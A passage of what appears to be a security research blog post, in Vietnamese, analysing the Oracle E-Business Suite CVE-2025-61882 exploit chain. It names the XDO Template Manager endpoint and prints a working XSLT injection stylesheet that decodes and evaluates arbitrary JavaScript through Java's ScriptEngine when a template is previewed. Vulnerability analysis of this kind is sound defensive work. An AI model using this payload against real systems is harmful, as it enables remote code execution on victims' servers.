<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[MB VRED]]></title><description><![CDATA[MB Vulnerability Research and Exploit Development]]></description><link>https://vred.mbbank.com.vn</link><image><url>https://substackcdn.com/image/fetch/$s_!8nze!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7085ee16-0802-448c-b666-26be13c01c3e_144x144.png</url><title>MB VRED</title><link>https://vred.mbbank.com.vn</link></image><generator>Substack</generator><lastBuildDate>Thu, 14 May 2026 11:55:08 GMT</lastBuildDate><atom:link href="https://vred.mbbank.com.vn/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[MB Bank]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[mbvred@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[mbvred@substack.com]]></itunes:email><itunes:name><![CDATA[MB VRED]]></itunes:name></itunes:owner><itunes:author><![CDATA[MB VRED]]></itunes:author><googleplay:owner><![CDATA[mbvred@substack.com]]></googleplay:owner><googleplay:email><![CDATA[mbvred@substack.com]]></googleplay:email><googleplay:author><![CDATA[MB VRED]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Oracle E-Business Suite Authentication Bypass & RCE (CVE-2025-61882)]]></title><description><![CDATA[Introduction]]></description><link>https://vred.mbbank.com.vn/p/oracle-e-business-suite-authentication</link><guid isPermaLink="false">https://vred.mbbank.com.vn/p/oracle-e-business-suite-authentication</guid><dc:creator><![CDATA[MB VRED]]></dc:creator><pubDate>Tue, 20 Jan 2026 07:00:59 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!aUrb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1><strong>Introduction</strong></h1><p>H&#7891;i th&#225;ng 7 n&#259;m ngo&#225;i, h&#224;ng lo&#7841;t t&#7893; ch&#7913;c l&#7899;n tr&#234;n th&#7871; gi&#7899;i b&#7883; &#7843;nh h&#432;&#7903;ng b&#7903;i m&#7897;t l&#7895; h&#7893;ng 0day tr&#234;n Oracle E-Business Suite (EBS), sau &#273;&#243; l&#7895; h&#7893;ng n&#224;y &#273;&#227; &#273;&#432;&#7907;c &#273;&#7883;nh danh: CVE-2025-61882. V&#224; ngay sau khi th&#244;ng tin n&#224;y tr&#224;n lan kh&#7855;p n&#417;i, PoC &#273;&#432;&#7907;c cho l&#224; c&#243; li&#234;n quan t&#7899;i chi&#7871;n d&#7883;ch n&#224;y &#273;&#227; &#273;&#432;&#7907;c leak tr&#234;n m&#7841;ng. M&#7863;c d&#249; exploit n&#224;y c&#7921;c k&#236; c&#244;ng phu, chain 5 bug nh&#7887; l&#7867; l&#7841;i &#273;&#7875; c&#243; &#273;&#432;&#7907;c preauth RCE, tuy nhi&#234;n h&#432;&#7899;ng khai th&#225;c n&#224;y l&#7841;i c&#243; m&#7897;t h&#7841;n ch&#7871;, y&#234;u c&#7847;u victim ph&#7843;i c&#243; k&#7871;t n&#7889;i outbound &#273;&#7875; c&#243; th&#7875; exploit th&#224;nh c&#244;ng. Trong th&#7921;c t&#7871; th&#236; &#273;i&#7873;u n&#224;y g&#7847;n nh&#432; l&#224; b&#7845;t kh&#7843; thi, server Oracle EBS th&#432;&#7901;ng ch&#7881; ho&#7841;t &#273;&#7897;ng trong ph&#7841;m vi n&#7897;i b&#7897; c&#7911;a t&#7893; ch&#7913;c, v&#7899;i c&#225;c network policy ch&#7863;t ch&#7869;, g&#7847;n nh&#432; vi&#7879;c &#273;&#7875; m&#7903; internet cho server EBS l&#224; kh&#244;ng th&#7875; x&#7843;y ra trong th&#7921;c t&#7871;! V&#224; trong th&#7921;c t&#7871; th&#236; r&#7845;t nhi&#7873;u t&#7893; ch&#7913;c &#273;&#227; b&#7883; d&#237;nh ransomware th&#244;ng qua bug n&#224;y, do &#273;&#243; 0day b&#7883; l&#7907;i d&#7909;ng kh&#244;ng h&#7873; li&#234;n quan t&#7899;i PoC m&#7899;i b&#7883; leak.</p><p>Sau 4 th&#225;ng ch&#7901; &#273;&#7907;i m&#224; v&#7851;n ch&#432;a c&#243; b&#224;i vi&#7871;t n&#224;o ph&#226;n t&#237;ch chi ti&#7871;t h&#417;n v&#7873; bug n&#224;y, ch&#250;ng t&#244;i quy&#7871;t &#273;&#7883;nh thu th&#7853;p l&#7841;i c&#225;c th&#244;ng tin, setup lab, reproduce bug v&#224; vi&#7871;t chi ti&#7871;t h&#417;n v&#7873; bug n&#224;y.</p><p>Tr&#432;&#7899;c khi b&#7855;t &#273;&#7847;u, khuy&#7871;n kh&#237;ch b&#7841;n &#273;&#7885;c xem qua tr&#432;&#7899;c c&#225;c b&#224;i ph&#226;n t&#237;ch sau &#273;&#7875; hi&#7875;u r&#245; h&#417;n v&#7873; l&#7895; h&#7893;ng:</p><ul><li><p><a href="https://cloud.google.com/blog/topics/threat-intelligence/oracle-ebusiness-suite-zero-day-exploitation">Oracle E-Business Suite Zero-Day Exploited in Widespread Extortion Campaign | Google Cloud Blog</a></p></li><li><p><a href="https://www.crowdstrike.com/en-us/blog/crowdstrike-identifies-campaign-targeting-oracle-e-business-suite-zero-day-CVE-2025-61882/">CrowdStrike Identifies Campaign Targeting Oracle E-Business Suite via Zero-Day Vulnerability Tracked as CVE-2025-61882</a></p></li><li><p><a href="https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/">Well, Well, Well. It&#8217;s Another Day. (Oracle E-Business Suite Pre-Auth RCE Chain - CVE-2025-61882)</a></p></li></ul><h1><strong>Analysis</strong></h1><h2><strong>1. Post Auth XLST Injection lead to RCE</strong></h2><p>Ph&#7847;n n&#224;y &#273;&#227; &#273;&#432;&#7907;c n&#234;u kh&#225; r&#245; t&#7841;i b&#224;i ph&#226;n t&#237;ch c&#7911;a <a href="https://cloud.google.com/blog/topics/threat-intelligence/oracle-ebusiness-suite-zero-day-exploitation">Google Mandiant</a>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!aUrb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!aUrb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 424w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 848w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 1272w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!aUrb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png" width="908" height="733" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:733,&quot;width&quot;:908,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:95857,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://vred.mbbank.com.vn/i/184744845?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!aUrb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 424w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 848w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 1272w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Attacker c&#243; th&#7875; s&#7917; d&#7909;ng ch&#7913;c n&#259;ng <strong>XDO Template Manager</strong> &#273;&#7875; RCE, l&#7907;i d&#7909;ng ch&#7913;c n&#259;ng Preview template &#273;&#7875; trigger XSLT injection.</p><p>&#272;&#7875; s&#7917; d&#7909;ng ch&#7913;c n&#259;ng tr&#234;n, ta c&#7847;n truy c&#7853;p endpoint <code>/OA_HTML/RF.jsp?function_id=XDO_TEMPLATES</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!a_-G!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!a_-G!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 424w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 848w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 1272w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!a_-G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png" width="1456" height="493" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:493,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!a_-G!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 424w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 848w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 1272w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>T&#7841;o m&#7897;t template m&#7899;i nh&#432; sau:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!l70A!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!l70A!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 424w, https://substackcdn.com/image/fetch/$s_!l70A!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 848w, https://substackcdn.com/image/fetch/$s_!l70A!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 1272w, https://substackcdn.com/image/fetch/$s_!l70A!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!l70A!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png" width="1456" height="580" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:580,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!l70A!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 424w, https://substackcdn.com/image/fetch/$s_!l70A!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 848w, https://substackcdn.com/image/fetch/$s_!l70A!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 1272w, https://substackcdn.com/image/fetch/$s_!l70A!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>v&#7899;i file test.xsl:</p><pre><code><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String"&gt;

  &lt;xsl:template match="/"&gt;
    &lt;xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), 'BASE64_PAYLOAD')" /&gt;
    &lt;xsl:variable name="js" select="str:new($bs)" /&gt;
    &lt;xsl:variable name="m" select="jsm:new()" /&gt;
    &lt;xsl:variable name="e" select="jsm:getEngineByName($m, 'js')" /&gt;
    &lt;xsl:variable name="result" select="eng:eval($e, $js)" /&gt;
    &lt;xsl:value-of select="$result" /&gt;
  &lt;/xsl:template&gt;

&lt;/xsl:stylesheet&gt;
</code></code></pre><p>Sau khi save template, click <code>Preview</code> &#273;&#7875; trigger bug:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!q295!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!q295!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 424w, https://substackcdn.com/image/fetch/$s_!q295!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 848w, https://substackcdn.com/image/fetch/$s_!q295!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 1272w, https://substackcdn.com/image/fetch/$s_!q295!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!q295!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png" width="1336" height="596" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:596,&quot;width&quot;:1336,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!q295!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 424w, https://substackcdn.com/image/fetch/$s_!q295!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 848w, https://substackcdn.com/image/fetch/$s_!q295!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 1272w, https://substackcdn.com/image/fetch/$s_!q295!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Set breakpoint t&#7841;i <code>oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.processRequest()</code></p><p>Khi ch&#7885;n Preview,  EBS s&#7869; ki&#7875;m tra xem request c&#243; ph&#7843;i lovEvent kh&#244;ng, n&#7871;u kh&#244;ng s&#7869; ti&#7871;p t&#7909;c check xem c&#243; param t&#432;&#417;ng &#7913;ng v&#7899;i t&#7915;ng ch&#7913;c n&#259;ng hay kh&#244;ng. &#7902; &#273;&#226;y ta &#273;ang ch&#7885;n <code>Preview</code> n&#234;n s&#7869; c&#243; param <code>preview=Y</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 